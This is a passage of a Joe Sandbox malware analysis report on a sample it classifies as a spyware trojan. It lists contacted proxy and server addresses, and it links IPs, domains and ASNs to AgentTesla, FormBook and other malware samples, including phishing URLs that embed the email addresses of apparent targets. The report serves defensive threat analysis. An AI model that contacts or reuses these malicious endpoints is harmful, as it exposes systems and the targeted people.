http://123.13.218.68:9002	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119997D8000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A888000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.43.52.176:41890://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.216.51.36:32650	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://149.126.101.162:8080://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995096000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://179.57.172.172:999	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AA4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.12.253.117:32229	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993FB6000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994246000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.81.57:34448://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://202.6.233.59:7878://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993FB6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://184.178.172.14:4145://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199994A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://221.153.92.39:80	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://201.158.10.64:5678	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://182.48.77.173:8674	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://186.219.96.12:52017://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995596000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://162.241.79.22:36749://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997EA7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://37.187.143.172:47016://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119941EA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://1.0.0.84	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://61.9.32.62:65535://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997CFF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://45.117.179.179:18701://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011999B4D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://183.88.184.48:8080	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199563E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.37.216.68:4145	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119941EA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.99.138.162://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199523F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.147.246.23:8181://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://104.19.235.10	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119941EA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://151.236.39.7:57248	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994F74000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997F7A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.137.218.161:83	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://146.190.84.209:33091://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://176.88.177.197:61080://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199458A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://51.81.186.179:51405://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993E7F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://183.234.215.11:8443://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://141.94.174.6:13718://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://88.255.102.40:1080://proxy	n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
5.42.81.57	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
91.107.143.233	unknown	Germany	24940	HETZNER-ASDE	false
173.209.66.178	unknown	United States	14860	AS-SMARTCOMUS	false
212.110.188.202	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
107.148.103.231	unknown	United States	54600	PEGTECHINCUS	false
24.230.33.96	unknown	United States	11232	MIDCO-NETUS	false
182.160.100.156	unknown	Bangladesh	24323	AAMRA-NETWORKS-AS-APaamranetworkslimitedBD	false
50.169.37.50	unknown	United States	7922	COMCAST-7922US	false
31.170.22.127	unknown	Latvia	43513	NANO-ASLV	false
103.216.51.36	unknown	Cambodia	135375	TCC-AS-APTodayCommunicationCoLtdKH	false
193.143.1.201	unknown	unknown	57271	BITWEB-ASRU	false
78.90.252.7	unknown	Bulgaria	20911	NETSURF-AS-BG	false
181.78.11.217	unknown	Argentina	52468	UFINETPANAMASAPA	false
82.135.123.155	unknown	Germany	8767	MNET-ASGermanyDE	false
89.168.121.175	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
45.227.193.166	unknown	Brazil	28146	MHNETTELECOMBR	false
181.78.11.218	unknown	Argentina	52468	UFINETPANAMASAPA	false
85.237.62.189	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
154.202.110.45	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
13.234.24.116	unknown	United States	16509	AMAZON-02US	true
123.30.154.38	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
103.247.13.179	unknown	Indonesia	131706	TERABIT-AS-IDPTSELARASCITRATERABITID	false
177.53.169.178	unknown	Brazil	262474	ALTERNATELECOMUNICACOESECONECTIVIDADELTDAEPPBR	false
103.4.118.130	unknown	Bangladesh	38203	ADNTELECOMLTD-BDADNTelecomLtdBD	false
195.30.84.75	unknown	Germany	5539	SPACENETSpaceNETAGDE	false
195.30.84.78	unknown	Germany	5539	SPACENETSpaceNETAGDE	false
103.81.254.249	unknown	unknown	59272	IDNIC-LST-AS-IDPTLawangSewuTeknologiID	false
177.46.198.115	unknown	Brazil	28166	TelecomSouthAmericaSABR	false
119.39.68.79	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
200.116.198.222	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
221.194.149.8	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
43.128.155.154	unknown	Japan	4249	LILLY-ASUS	false
46.17.63.166	unknown	United Kingdom	39326	HSO-GROUPGB	false
114.129.2.82	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
103.216.50.143	unknown	Cambodia	135375	TCC-AS-APTodayCommunicationCoLtdKH	false
51.79.248.215	unknown	Canada	16276	OVHFR	false
103.220.205.162	unknown	Bangladesh	59362	KSNETWORK-AS-APKSNetworkLimitedBD	false
183.56.243.209	unknown	China	58466	CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN	false
154.73.28.193	unknown	Libyan Arab Jamahiriya	29286	SKYLOGIC-ASIT	false
183.164.254.8	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
181.188.206.62	unknown	Ecuador	19114	OtecelSAEC	false
212.110.188.222	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
202.162.105.202	unknown	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	false
46.36.70.104	unknown	Lithuania	43627	KLI-ASLT	false
212.110.188.220	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
109.123.254.43	unknown	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	true
115.74.153.4	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
187.216.144.170	unknown	Mexico	8151	UninetSAdeCVMX	false
103.131.18.172	unknown	Indonesia	138080	GMIS-AS-IDPTGlobalMediaIntiSemestaID	false
172.67.200.220	unknown	United States	13335	CLOUDFLARENETUS	false
38.253.88.242	unknown	United States	174	COGENT-174US	false
147.135.46.7	unknown	United States	16276	OVHFR	false
185.18.198.253	unknown	Spain	198432	IPCORE-ASES	false
213.91.232.94	unknown	Bulgaria	8866	BTC-ASBULGARIABG	false
117.86.138.13	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
74.103.66.15	unknown	United States	701	UUNETUS	false
190.61.106.97	unknown	Colombia	52468	UFINETPANAMASAPA	false
92.246.139.113	unknown	Russian Federation	8744	MEGAMAX-ASNizhnyNovgorodRU	true
219.73.88.167	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
92.246.139.112	unknown	Russian Federation	8744	MEGAMAX-ASNizhnyNovgorodRU	true
212.110.188.216	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.242	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	false
92.246.139.106	unknown	Russian Federation	8744	MEGAMAX-ASNizhnyNovgorodRU	false
212.110.188.213	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
183.215.23.242	unknown	China	56047	CMNET-HUNAN-APChinaMobilecommunicationscorporationCN	false
35.207.123.94	unknown	United States	19527	GOOGLE-2US	false
103.153.63.211	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
162.144.32.209	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
96.80.235.1	unknown	United States	7922	COMCAST-7922US	false
36.89.156.146	unknown	Indonesia	17974	TELKOMNET-AS2-APPTTelekomunikasiIndonesiaID	false
80.235.108.14	unknown	Estonia	3249	ESTPAKEE	false
171.240.108.168	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
158.220.91.232	unknown	Switzerland	8556	LEVANTISCH	false
148.72.23.56	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false
188.163.170.130	unknown	Ukraine	15895	KSNET-ASUA	false
103.253.127.202	unknown	unknown	133133	ROYHILL-AS-APRoyHillAU	false
27.75.152.191	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
81.250.223.126	unknown	France	3215	FranceTelecom-OrangeFR	false
218.252.244.126	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
191.101.1.116	unknown	Chile	61317	ASDETUKhttpwwwheficedcomGB	false
212.110.188.204	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.233	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	false
94.131.14.66	unknown	Ukraine	29632	NASSIST-ASGI	false
212.110.188.207	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
139.99.35.200	unknown	Canada	16276	OVHFR	false
113.74.26.116	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
185.140.102.218	unknown	Poland	203272	NETSERVICE-ASPL	false
5.190.220.235	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
45.189.116.89	unknown	unknown	269857	FIBERDIGITALSRLPE	false
104.17.9.114	unknown	United States	13335	CLOUDFLARENETUS	false
45.235.16.121	unknown	Brazil	267406	AGOBrasilInternetLtdaBR	false
138.0.228.120	unknown	Honduras	263725	MULTICABLEDEHONDURASHN	false
213.168.250.121	unknown	European Union	63949	LINODE-APLinodeLLCUS	false
200.174.198.95	unknown	Brazil	4230	CLAROSABR	false
138.0.228.121	unknown	Honduras	263725	MULTICABLEDEHONDURASHN	false
154.202.109.16	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
154.73.28.161	unknown	Libyan Arab Jamahiriya	29286	SKYLOGIC-ASIT	false
158.220.91.229	unknown	Switzerland	8556	LEVANTISCH	false
45.71.15.136	unknown	Brazil	267595	MILANINNETBR	false
103.47.93.214	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1397531
Start date and time:	2024-02-23 09:44:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	n1KVzXM8Wk.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@3/3@5/100
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 44 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 72.21.81.240
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target InstallUtil.exe, PID 20140 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:45:13	API Interceptor	192x Sleep call for process: n1KVzXM8Wk.exe modified
09:45:41	API Interceptor	64288x Sleep call for process: InstallUtil.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
5.42.81.57	RFQ.exe	Get hash	malicious	FormBook	Browse
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse
91.107.143.233	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse
173.209.66.178	RFQ.exe	Get hash	malicious	FormBook	Browse
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse
212.110.188.202	RFQ.exe	Get hash	malicious	FormBook	Browse
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse
	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse
107.148.103.231	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse
24.230.33.96	RFQ.exe	Get hash	malicious	FormBook	Browse
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse
	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse
182.160.100.156	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse
182.160.100.156	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse
50.169.37.50	RFQ.exe	Get hash	malicious	FormBook	Browse
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse
	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
heygirlisheeverythingyouwantedinaman.com	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	104.21.57.121
	IMAGE003.EXE.exe	Get hash	malicious	AgentTesla, Neshta	Browse	172.67.190.93
	Confirmaci#U00f3n de cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	104.21.57.121
	payment.exe	Get hash	malicious	AgentTesla	Browse	172.67.190.93
	New Order 7003153933.exe	Get hash	malicious	AgentTesla	Browse	172.67.190.93
	SecuriteInfo.com.Win32.TrojanX-gen.31554.32714.exe	Get hash	malicious	lgoogLoader	Browse	104.21.57.121
	DHL_9876453423465789789787534657689867545343.exe	Get hash	malicious	AgentTesla	Browse	104.21.57.121
	Soluciones de energia Nanovec.exe	Get hash	malicious	AgentTesla	Browse	104.21.57.121
	SS Bottmac Engineers Pvt. Ltd.pdf.exe	Get hash	malicious	AgentTesla	Browse	172.67.190.93
	SecuriteInfo.com.Win32.TrojanX-gen.10939.30166.exe	Get hash	malicious	AgentTesla	Browse	104.21.57.121
ktxcomay.com.vn	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
github.com	5gYbiVoVGm	Get hash	malicious	Unknown	Browse	140.82.114.4
	PO-65547.js	Get hash	malicious	STRRAT	Browse	140.82.113.4
	PO-65547.js	Get hash	malicious	STRRAT	Browse	140.82.113.4
	SecuriteInfo.com.W64.ABRisk.PVEG-3846.30817.29399.exe	Get hash	malicious	Unknown	Browse	140.82.113.4
	FACTURA DE PROFORMA.jar	Get hash	malicious	STRRAT	Browse	140.82.113.3
	SecuriteInfo.com.FileRepMalware.30979.22180.exe	Get hash	malicious	Unknown	Browse	140.82.114.5
	https://notaclinic.com/roll/	Get hash	malicious	STRRAT	Browse	140.82.114.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	Z5FGV1n64L.elf	Get hash	malicious	Unknown	Browse	5.42.35.202
	SecuriteInfo.com.Win32.Evo-gen.10846.18749.exe	Get hash	malicious	RedLine	Browse	5.42.65.31
	RFQ.exe	Get hash	malicious	FormBook	Browse	5.42.81.57
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse	5.42.81.57
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	5.42.81.57
	WuZJHJZvzy.exe	Get hash	malicious	RedLine	Browse	5.42.65.31
	file.zip	Get hash	malicious	Unknown	Browse	5.42.81.51
	8holJWXFZe.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	5.42.64.33
	hkXE3abs6j.exe	Get hash	malicious	GCleaner, RedLine	Browse	5.42.65.115
	9kFZ5fhiLu.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	5.42.64.33
HETZNER-ASDE	SecuriteInfo.com.Trojan.DownLoader30.28195.3108.3748.exe	Get hash	malicious	Tinynuke / Nukebot	Browse	5.9.110.236
	https://es-mad-1.linodeobjects.com/imd/korian.html#4LRqoo3790CWqy30qlgcgdgtum804PGMBQKONRNANMRI816587GOEV11367Y15/A9JWvsdqcTFisTsjuCH	Get hash	malicious	HTMLPhisher	Browse	136.243.249.75
	file.exe	Get hash	malicious	Vidar	Browse	159.69.103.8
	vI1lauoohe.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse	144.76.136.153
	https://tracker.club-os.com/campaign/click?msgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=//rcm-bd.com/we04/bGlzYS5tdXJwaHlAYWFyY29ycC5jb20=	Get hash	malicious	Unknown	Browse	188.40.147.216
	https://0nline.f24solutions.click/?nHS=Yl4	Get hash	malicious	Unknown	Browse	94.130.246.81
	https://0nline.f24solutions.click/?nHS=Yl4	Get hash	malicious	Unknown	Browse	94.130.246.81
	crvEujmluK.elf	Get hash	malicious	Mirai, Moobot	Browse	49.13.2.246
	http://www.die-senioren.de	Get hash	malicious	Unknown	Browse	5.161.124.197
	http://dkdeep.com/?placement%5C=Facebook_Desktop_Feed&adset_name%5C=26&ad_name%5C=1_267069722828906&fb%5C=267069722828906&ad_id%5C=120206568353510682&buyer%5C=mk&netProbitiya2k23%5C=w0tth3b3stGmev3R&pre%5C=celeb1&fbclid%5C=IwAR2SLF2yfFVFau_BLIzVYgyo3FnJIWRI2bBRkxat54PFXlIdShtFrFBG6Pg	Get hash	malicious	Unknown	Browse	94.130.53.57
BYTEMARK-ASGB	RFQ.exe	Get hash	malicious	FormBook	Browse	212.110.188.207
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	6Oxib4L1XD.elf	Get hash	malicious	Mirai	Browse	46.43.54.231
	hFOOd4N84Z.doc	Get hash	malicious	Unknown	Browse	194.76.27.26
	PkmhVmko4L.elf	Get hash	malicious	Mirai	Browse	80.68.91.35
PEGTECHINCUS	iQtYQmV5yF.elf	Get hash	malicious	Mirai	Browse	165.3.147.119
	dF9J4scvUW.elf	Get hash	malicious	Mirai	Browse	156.243.156.229
	97OKse8hGO.elf	Get hash	malicious	Mirai	Browse	156.243.156.247
	y9o3Fy6gL2.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	193.160.32.19
	3mc5KKo4ae.elf	Get hash	malicious	Mirai	Browse	108.186.219.204
	MCYq2AqNU0.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc, Xmrig	Browse	193.160.32.19
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse	107.148.103.231
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	107.148.103.221
	VIMEKSIM PO# 1330 Confirmation_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	192.74.233.8
	k83uRQtNDx.elf	Get hash	malicious	Unknown	Browse	45.205.88.140
AS-SMARTCOMUS	RFQ.exe	Get hash	malicious	FormBook	Browse	173.209.66.178
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse	173.209.66.178
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	173.209.66.178
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse	173.209.66.178
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	173.209.66.178
	mips.elf	Get hash	malicious	Mirai	Browse	64.88.216.251
	XhMvMaNI5c.elf	Get hash	malicious	Gafgyt, Mirai	Browse	170.76.254.151
	yNTNhDZfSZ.elf	Get hash	malicious	Mirai	Browse	64.209.158.95
	GTU8OY0vHP.elf	Get hash	malicious	Mirai	Browse	64.209.146.86
	vailon.arm7-20220608-2250	Get hash	malicious	Mirai	Browse	198.22.170.146

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	proforma invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.114.3 172.67.190.93 102.223.20.217 222.255.238.159
	SecuriteInfo.com.Win32.MalwareX-gen.170.29118.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.114.3 172.67.190.93 102.223.20.217 222.255.238.159
	http://clickme.thryv.com/ls/click?upn=VyfUTP2bVlpK0hOwWs7CtN-2B6vKaEhutADkrG-2BKIumePlKEeAq3UDO7axjMdpHpNhLASr_CjhLEltjeUvNiSxzlEx-2Fo4f2AjxyuFZPJ6qZBQqs9WuRyc04d-2FspcOgvvEm6ByMAIg5elPgM-2BJ-2BAJm0MPon9uZumXhm3fTqi2esICVg0W6CJpg5dNC09EtMhn7LH9GGk-2Bt-2FIc7bkPSOEBNzgo2LgBLXtzPUNFxSR00VR6-2BT91FD-2FnrOJhhH5irBZKWApsce-2FXptZoG3-2FygOZTz2S80ARON7-2BqFq-2BRK-2BMbnBX5iMn3kzPvfpfQbZVYvfP3qUDcfLLzAsEe6BmCLLwDFLPCiK3FsmUv7ihnpVaV2Ken3r1SCfE10SYPlfx7WKlapJJ06uBpcazVsT7IP5dCSNTsfsruvFLAAwYjDkRdrCmOx9i9rE-3D#0sacchione@vectra.ai	Get hash	malicious	HTMLPhisher	Browse	140.82.114.3 172.67.190.93 102.223.20.217 222.255.238.159
	https://pub-611a8e97e95a4f898b0f76c8b870e436.r2.dev/vm.html	Get hash	malicious	HTMLPhisher	Browse	140.82.114.3 172.67.190.93 102.223.20.217 222.255.238.159
	installer-build-x64.exe	Get hash	malicious	Unknown	Browse	140.82.114.3 172.67.190.93 102.223.20.217 222.255.238.159
	Report.html	Get hash	malicious	HTMLPhisher	Browse	140.82.114.3 172.67.190.93 102.223.20.217 222.255.238.159
	BL-SHIPPING DOCS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.114.3 172.67.190.93 102.223.20.217 222.255.238.159
	https://agility-innovation-439.my.salesforce.com/sfc/dist/version/download/?oid=00DHo0000038Mxs&ids=068Ho00000R0jHcIAJ&d=/a/Ho000001AUja/E3FtuNsplpEppVzRhxY_EqNfbVMYqqms..AFh35MeAs&operationContext=DELIVERY&viewId=05HHo000002AbYOMA0&dpt=	Get hash	malicious	Unknown	Browse	140.82.114.3 172.67.190.93 102.223.20.217 222.255.238.159
